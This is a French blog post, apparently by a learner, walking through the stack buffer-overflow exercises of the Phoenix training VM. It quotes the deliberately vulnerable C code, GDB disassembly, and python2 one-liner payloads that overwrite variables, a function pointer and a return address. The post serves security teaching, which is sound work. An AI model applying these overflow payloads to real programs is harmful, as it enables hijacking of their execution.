Post

Exploitation de vulnérabilités binaires avec Phoenix

Exploitation de vulnérabilités binaires avec Phoenix

Exploitation de vulnérabilités binaires avec Phoenix

Dans le cadre de mon apprentissage en sécurité offensive, je me suis exercé sur la VM Phoenix d’Exploit Education, une plateforme dédiée à l’apprentissage de l’exploitation de vulnérabilités binaires. Mon objectif était de travailler la recherche de vulnérabilités, en me concentrant principalement sur les buffer overflows, heap overflows et format strings.

Pourquoi Phoenix ?

Phoenix propose une série d’exercices progressifs permettant de comprendre en profondeur le fonctionnement de la mémoire et les mécanismes d’exploitation. J’ai pu pratiquer :

  • Buffer overflow : débordement de tampon pour écraser des variables adjacentes
  • Accès à des fonctions non prévues : détournement du flux d’exécution
  • Shellcode : injection et exécution de code arbitraire
  • Utilisation de GDB : analyse et débogage de binaires

Ces compétences sont essentielles pour le reverse engineering et la recherche de vulnérabilités dans des programmes compilés.

Environnement de travail

Après avoir téléchargé et installé la VM Phoenix (architecture ARM64), le répertoire de travail /opt/phoenix/arm64/ contient plusieurs catégories d’exercices :

1
2
3
4
5
6
stack-zero     stack-one      stack-two      stack-three
stack-four     stack-five     stack-six
format-zero    format-one     format-two     format-three    format-four
heap-zero      heap-one       heap-two       heap-three
net-zero       net-one        net-two
final-zero     final-one      final-two

Je vais détailler ma démarche sur les exercices de la catégorie stack, qui exploitent des vulnérabilités de buffer overflow.


Stack-Zero : Premier débordement

Analyse du code source

Le premier exercice présente une structure locale contenant un buffer de 64 octets et une variable changeme :

1
2
3
4
5
6
7
8
9
10
11
struct {
    char buffer[64];
    volatile int changeme;
} locals;

locals.changeme = 0;
gets(locals.buffer);

if (locals.changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed!");
}

Identification de la vulnérabilité

La vulnérabilité se trouve dans l’utilisation de gets(locals.buffer), une fonction dangereuse qui ne vérifie pas la taille du buffer. Si nous écrivons plus de 64 octets, nous débordons sur la mémoire adjacente.

Représentation mémoire

La structure étant stockée de manière contiguë en mémoire, écrire au-delà de buffer[64] écrase directement la variable changeme.

Exploitation

Pour modifier changeme, il suffit d’envoyer 65 caractères (ou plus) :

1
python2 -c "print(65 * 'a')" | ./stack-zero

Résultat : La variable changeme est modifiée, le challenge est validé.


Stack-One : Contrôle précis de la valeur

Évolution du challenge

Cette fois, il ne suffit pas de modifier changeme, il faut lui donner la valeur exacte 0x496c5962 :

1
2
3
4
5
strcpy(locals.buffer, argv[1]);

if (locals.changeme == 0x496c5962) {
    puts("Well done, you have successfully set changeme to the correct value");
}

Vulnérabilité

La fonction strcpy() ne vérifie pas la taille de la destination, permettant le même type de débordement.

Représentation mémoire

Considération de l’endianness

Les processeurs ARM utilisent le little-endian : les octets sont stockés dans l’ordre inverse. La valeur 0x496c5962 doit donc être écrite \x62\x59\x6C\x49.

Exploitation

1
./stack-one $(python2 -c "print(64 * 'a' + '\x62\x59\x6C\x49')")

Résultat : changeme contient maintenant exactement 0x496c5962.


Stack-Two : Variables d’environnement

Nouveau vecteur d’attaque

Le programme récupère la valeur depuis une variable d’environnement :

1
2
3
4
5
6
ptr = getenv("ExploitEducation");
strcpy(locals.buffer, ptr);

if (locals.changeme == 0x0d0a090a) {
    puts("Well done, you have successfully set changeme to the correct value");
}

Démarche d’exploitation

Même principe que précédemment, mais via une variable d’environnement :

1
2
export ExploitEducation=$(python2 -c "print(64 * 'a' + '\x0a\x09\x0a\x0d')")
./stack-two

Résultat : Validation du challenge en exploitant une source d’entrée différente.


Stack-Three : Détournement de pointeur de fonction

Objectif du challenge

Faire exécuter la fonction complete_level() en modifiant un pointeur de fonction :

1
2
3
4
5
6
7
8
9
10
11
struct {
    char buffer[64];
    volatile int (*fp)();
} locals;

locals.fp = NULL;
gets(locals.buffer);

if (locals.fp) {
    locals.fp();  // Appel du pointeur de fonction
}

Démarche de réflexion

Pour réussir, je dois :

  1. Trouver l’adresse de complete_level() en mémoire
  2. Écraser le pointeur fp avec cette adresse

Analyse avec GDB

La VM Phoenix a l’ASLR désactivé, ce qui signifie que les adresses sont fixes. L’ASLR (Address Space Layout Randomization) est une protection introduite en 2005 sur Linux qui randomise les adresses mémoire.

1
2
3
gdb ./stack-three
(gdb) print complete_level
$1 = {<text variable, no debug info>} 0x4007c4 <complete_level>

Exploitation

1
python2 -c "print(64 * 'a' + '\xc4\x07\x40')" | ./stack-three

Résultat : Le pointeur de fonction est redirigé vers complete_level(), qui s’exécute.


Stack-Four : Modification de l’adresse de retour

Nouveau mécanisme d’exploitation

Cette fois, l’objectif est d’exécuter complete_level() en modifiant l’adresse de retour de la fonction start_level() :

1
2
3
4
5
6
7
8
9
void start_level() {
    char buffer[64];
    void *ret;

    gets(buffer);
    
    ret = __builtin_return_address(0);
    printf("and will be returning to %p\n", ret);
}

Comprendre l’adresse de retour

Lorsqu’une fonction est appelée :

  1. Le prologue sauvegarde l’adresse de retour sur la pile
  2. À la fin, le epilogue restaure cette adresse pour retourner à l’appelant

En débordant le buffer, nous pouvons écraser cette adresse de retour et rediriger l’exécution.

Analyse assembleur avec GDB

1
2
gdb ./stack-four
(gdb) disassemble start_level
Dump of assembler code for function start_level:
   0x0000000000400730 <+0>:   stp   x29, x30, [sp, #-112]!
   0x0000000000400734 <+4>:   mov   x29, sp
   0x0000000000400738 <+8>:   str   x19, [sp, #16]
   0x000000000040073c <+12>:  mov   x19, x30
   0x0000000000400740 <+16>:  add   x0, x29, #0x28
   0x0000000000400744 <+20>:  bl    0x400580 <gets@plt>
   0x0000000000400748 <+24>:  str   x19, [x29, #104]
   0x000000000040074c <+28>:  adrp  x0, 0x400000
   0x0000000000400750 <+32>:  add   x0, x0, #0x820
   0x0000000000400754 <+36>:  ldr   x1, [x29, #104]
   0x0000000000400758 <+40>:  bl    0x400570 <printf@plt>
   0x000000000040075c <+44>:  nop
   0x0000000000400760 <+48>:  ldr   x19, [sp, #16]
   0x0000000000400764 <+52>:  ldp   x29, x30, [sp], #112
   0x0000000000400768 <+56>:  ret

Points clés de l’analyse

  • Ligne <+0> : stp x29, x30, [sp, #-112]! — Sauvegarde du frame pointer (x29) et de l’adresse de retour (x30) sur la pile
  • Ligne <+16> : add x0, x29, #0x28 — Le buffer commence à x29 + 0x28 (40 en décimal)
  • Ligne <+52> : ldp x29, x30, [sp], #112 — Restauration de x29 et x30 avant le retour

L’adresse de retour est stockée à 112 octets du début de la pile allouée. En calculant l’offset depuis le buffer, je peux déterminer précisément où écrire.

Exploitation

Une fois l’adresse de complete_level() récupérée avec GDB et l’offset calculé, l’exploitation suit le même principe que pour stack-three.


Conclusion et perspectives

Ce travail sur Phoenix m’a permis de :

  • Comprendre en profondeur la gestion de la mémoire en architecture ARM64
  • Maîtriser GDB pour l’analyse de binaires et le débogage
  • Développer une méthodologie d’identification et d’exploitation de vulnérabilités
  • Renforcer mes compétences en reverse engineering

Les exercices suivants (stack-five, stack-six, format strings, heap exploitation) sont actuellement en cour de rédaction.

This post is licensed under CC BY 4.0 by the author.